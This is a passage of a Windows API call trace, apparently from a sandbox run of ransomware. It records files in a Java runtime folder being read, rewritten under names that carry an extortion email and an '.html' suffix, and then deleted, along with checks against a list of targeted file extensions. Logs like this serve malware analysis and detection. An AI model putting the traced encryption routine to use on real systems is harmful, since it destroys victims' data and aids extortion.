	[0085.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0085.056] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0085.056] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.066] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.066] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0085.067] GetLastError () returned 0x0
	[0085.067] ReadFile (in: hFile=0x36c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x43040, lpOverlapped=0x0) returned 1
	[0085.076] WriteFile (in: hFile=0x328, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x43050, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x43050, lpOverlapped=0x0) returned 1
	[0085.083] ReadFile (in: hFile=0x36c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.083] WriteFile (in: hFile=0x328, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xf2, lpOverlapped=0x0) returned 1
	[0085.083] SetEndOfFile (hFile=0x328) returned 1
	[0085.083] CloseHandle (hObject=0x328) returned 1
	[0085.084] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.084] SetEndOfFile (hFile=0x36c) returned 1
	[0085.087] CloseHandle (hObject=0x36c) returned 1
	[0085.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0085.087] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\fontmanager.dll")) returned 1
	[0085.087] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0085.087] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0085.087] lstrlenW (lpString=".doc") returned 4
	[0085.087] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.087] lstrlenW (lpString=".docx") returned 5
	[0085.087] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0085.087] lstrlenW (lpString=".pdf") returned 4
	[0085.087] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.087] lstrlenW (lpString=".xls") returned 4
	[0085.087] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.087] lstrlenW (lpString=".xlsx") returned 5
	[0085.087] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0085.087] lstrlenW (lpString=".ppt") returned 4
	[0085.088] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.088] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0085.088] lstrlenW (lpString=".zip") returned 4
	[0085.088] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.088] lstrlenW (lpString=".rar") returned 4
	[0085.088] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.088] lstrlenW (lpString=".bz2") returned 4
	[0085.088] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.088] lstrlenW (lpString=".7z") returned 3
	[0085.088] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.088] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0085.088] lstrlenW (lpString=".dbf") returned 4
	[0085.088] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.088] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0085.088] lstrlenW (lpString=".1cd") returned 4
	[0085.088] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.088] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0085.088] lstrlenW (lpString=".jpg") returned 4
	[0085.088] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.088] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0085.088] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0085.088] lstrlenW (lpString=".doc") returned 4
	[0085.088] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.088] lstrlenW (lpString=".docx") returned 5
	[0085.088] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0085.088] lstrlenW (lpString=".pdf") returned 4
	[0085.088] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.088] lstrlenW (lpString=".xls") returned 4
	[0085.088] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.088] lstrlenW (lpString=".xlsx") returned 5
	[0085.088] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0085.088] lstrlenW (lpString=".ppt") returned 4
	[0085.088] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0085.089] lstrlenW (lpString=".zip") returned 4
	[0085.089] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.089] lstrlenW (lpString=".rar") returned 4
	[0085.089] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.089] lstrlenW (lpString=".bz2") returned 4
	[0085.089] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.089] lstrlenW (lpString=".7z") returned 3
	[0085.089] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0085.089] lstrlenW (lpString=".dbf") returned 4
	[0085.089] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0085.089] lstrlenW (lpString=".1cd") returned 4
	[0085.089] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0085.089] lstrlenW (lpString=".jpg") returned 4
	[0085.089] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.089] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0085.089] lstrlenW (lpString="jaas_nt.dll") returned 11
	[0085.089] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0085.090] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=21056) returned 1
	[0085.090] CloseHandle (hObject=0x36c) returned 1
	[0085.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll")) returned 0x20
	[0085.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0085.090] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0085.090] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.090] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.090] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0085.090] GetLastError () returned 0x0
	[0085.090] ReadFile (in: hFile=0x36c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x5240, lpOverlapped=0x0) returned 1
	[0085.092] WriteFile (in: hFile=0x328, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x5250, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x5250, lpOverlapped=0x0) returned 1
	[0085.094] ReadFile (in: hFile=0x36c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.094] WriteFile (in: hFile=0x328, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xea, lpOverlapped=0x0) returned 1
	[0085.094] SetEndOfFile (hFile=0x328) returned 1
	[0085.094] CloseHandle (hObject=0x328) returned 1
	[0085.094] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.094] SetEndOfFile (hFile=0x36c) returned 1
	[0085.096] CloseHandle (hObject=0x36c) returned 1
	[0085.096] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0085.096] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jaas_nt.dll")) returned 1
	[0085.096] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50
	[0085.096] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50
	[0085.096] lstrlenW (lpString=".doc") returned 4
	[0085.096] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.096] lstrlenW (lpString=".docx") returned 5
	[0085.096] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0085.096] lstrlenW (lpString=".pdf") returned 4
	[0085.096] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.096] lstrlenW (lpString=".xls") returned 4
	[0085.096] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.097] lstrlenW (lpString=".xlsx") returned 5
	[0085.097] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0085.097] lstrlenW (lpString=".ppt") returned 4
	[0085.097] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50
	[0085.097] lstrlenW (lpString=".zip") returned 4
	[0085.097] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.097] lstrlenW (lpString=".rar") returned 4
	[0085.097] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.097] lstrlenW (lpString=".bz2") returned 4
	[0085.097] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.097] lstrlenW (lpString=".7z") returned 3
	[0085.097] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50
	[0085.097] lstrlenW (lpString=".dbf") returned 4
	[0085.097] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50
	[0085.097] lstrlenW (lpString=".1cd") returned 4
	[0085.097] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50
	[0085.097] lstrlenW (lpString=".jpg") returned 4
	[0085.097] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50
	[0085.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50
	[0085.097] lstrlenW (lpString=".doc") returned 4
	[0085.097] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0085.097] lstrlenW (lpString=".docx") returned 5
	[0085.097] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0085.097] lstrlenW (lpString=".pdf") returned 4
	[0085.097] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0085.097] lstrlenW (lpString=".xls") returned 4
	[0085.097] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0085.097] lstrlenW (lpString=".xlsx") returned 5
	[0085.097] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0085.098] lstrlenW (lpString=".ppt") returned 4
	[0085.098] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0085.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50
	[0085.098] lstrlenW (lpString=".zip") returned 4
	[0085.098] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0085.098] lstrlenW (lpString=".rar") returned 4
	[0085.098] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0085.098] lstrlenW (lpString=".bz2") returned 4
	[0085.098] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0085.098] lstrlenW (lpString=".7z") returned 3
	[0085.098] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0085.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50
	[0085.098] lstrlenW (lpString=".dbf") returned 4
	[0085.098] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0085.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50
	[0085.098] lstrlenW (lpString=".1cd") returned 4
	[0085.098] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0085.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jaas_nt.dll") returned 50
	[0085.098] lstrlenW (lpString=".jpg") returned 4
	[0085.098] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0085.098] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1
	[0085.098] lstrlenW (lpString="jabswitch.exe") returned 13
	[0085.098] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0085.099] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=34368) returned 1
	[0085.099] CloseHandle (hObject=0x36c) returned 1
	[0085.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe")) returned 0x20
	[0085.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0085.099] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0085.099] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.099] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.099] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0085.099] GetLastError () returned 0x0
	[0085.099] ReadFile (in: hFile=0x36c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x8640, lpOverlapped=0x0) returned 1
	[0085.299] WriteFile (in: hFile=0x328, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0x8650, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0x8650, lpOverlapped=0x0) returned 1
	[0085.300] ReadFile (in: hFile=0x36c, lpBuffer=0x38a7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x259fecc, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesRead=0x259fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.300] WriteFile (in: hFile=0x328, lpBuffer=0x38a7020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x259fc94, lpOverlapped=0x0 | out: lpBuffer=0x38a7020*, lpNumberOfBytesWritten=0x259fc94*=0xee, lpOverlapped=0x0) returned 1
	[0085.300] SetEndOfFile (hFile=0x328) returned 1
	[0086.173] CloseHandle (hObject=0x328) returned 1
	[0086.174] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.174] SetEndOfFile (hFile=0x36c) returned 1
	[0086.209] CloseHandle (hObject=0x36c) returned 1
	[0086.209] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0086.209] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe")) returned 1
	[0086.210] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52
	[0086.210] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52
	[0086.210] lstrlenW (lpString=".doc") returned 4
	[0086.210] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0086.210] lstrlenW (lpString=".docx") returned 5
	[0086.210] lstrcmpiW (lpString1=".docx", lpString2="h.exe") returned -1
	[0086.210] lstrlenW (lpString=".pdf") returned 4
	[0086.210] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0086.210] lstrlenW (lpString=".xls") returned 4
	[0086.210] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0086.210] lstrlenW (lpString=".xlsx") returned 5
	[0086.210] lstrcmpiW (lpString1=".xlsx", lpString2="h.exe") returned -1
	[0086.210] lstrlenW (lpString=".ppt") returned 4
	[0086.210] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0086.210] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52
	[0086.210] lstrlenW (lpString=".zip") returned 4
	[0086.210] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0086.210] lstrlenW (lpString=".rar") returned 4
	[0086.211] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0086.211] lstrlenW (lpString=".bz2") returned 4
	[0086.211] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0086.211] lstrlenW (lpString=".7z") returned 3
	[0086.211] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0086.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52
	[0086.211] lstrlenW (lpString=".dbf") returned 4
	[0086.211] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0086.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52
	[0086.211] lstrlenW (lpString=".1cd") returned 4
	[0086.211] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0086.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52
	[0086.211] lstrlenW (lpString=".jpg") returned 4
	[0086.211] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0086.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52
	[0086.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52
	[0086.211] lstrlenW (lpString=".doc") returned 4
	[0086.211] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0086.211] lstrlenW (lpString=".docx") returned 5
	[0086.211] lstrcmpiW (lpString1=".docx", lpString2="h.exe") returned -1
	[0086.211] lstrlenW (lpString=".pdf") returned 4
	[0086.211] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0086.211] lstrlenW (lpString=".xls") returned 4
	[0086.211] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0086.211] lstrlenW (lpString=".xlsx") returned 5
	[0086.211] lstrcmpiW (lpString1=".xlsx", lpString2="h.exe") returned -1
	[0086.211] lstrlenW (lpString=".ppt") returned 4
	[0086.211] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0086.211] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52
	[0086.211] lstrlenW (lpString=".zip") returned 4
	[0086.211] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0086.211] lstrlenW (lpString=".rar") returned 4
	[0086.212] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0086.212] lstrlenW (lpString=".bz2") returned 4
	[0086.212] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0086.212] lstrlenW (lpString=".7z") returned 3
	[0086.212] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0086.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52
	[0086.212] lstrlenW (lpString=".dbf") returned 4
	[0086.212] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0086.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52
	[0086.212] lstrlenW (lpString=".1cd") returned 4
	[0086.212] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0086.212] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52
	[0086.212] lstrlenW (lpString=".jpg") returned 4
	[0086.212] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0086.212] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0086.212] lstrlenW (lpString="javafx_iio.dll") returned 14
	[0086.212] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0086.212] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=128064) returned 1
	[0086.212] CloseHandle (hObject=0x36c) returned 1
	[0086.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll")) returned 0x20
	[0086.213] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0086.213] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javafx_iio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javafx_iio.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0086.213] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.213] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
